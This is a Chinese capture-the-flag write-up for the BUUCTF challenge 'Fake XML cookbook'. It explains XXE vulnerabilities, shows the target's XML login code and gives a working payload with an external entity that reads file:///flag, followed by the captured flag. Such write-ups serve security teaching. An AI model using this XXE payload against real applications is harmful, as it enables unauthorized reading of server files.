BUUCTF [NCTF2019]Fake XML cookbook
XXE漏洞原理:发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起DOS攻击等危害。XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件。
- DOCTYPE(文档类型定义的声明)
- ENTITY(实体的声明)
- SYSTEM、PUBLIC(外部资源申请)
内部实体
<!ENTITY 实体名称 "实体值">
外部实体
<!ENTITY 实体名称 SYSTEM "URL">
F12访问网站源码发现
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
payload:
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>1123</password></user>
得到flag{644bb1a3-7625-42a2-abd6-e500b6c57dc8}
参考链接:
https://blog.csdn.net/shinygod/article/details/123462682
从XML相关一步一步到XXE漏洞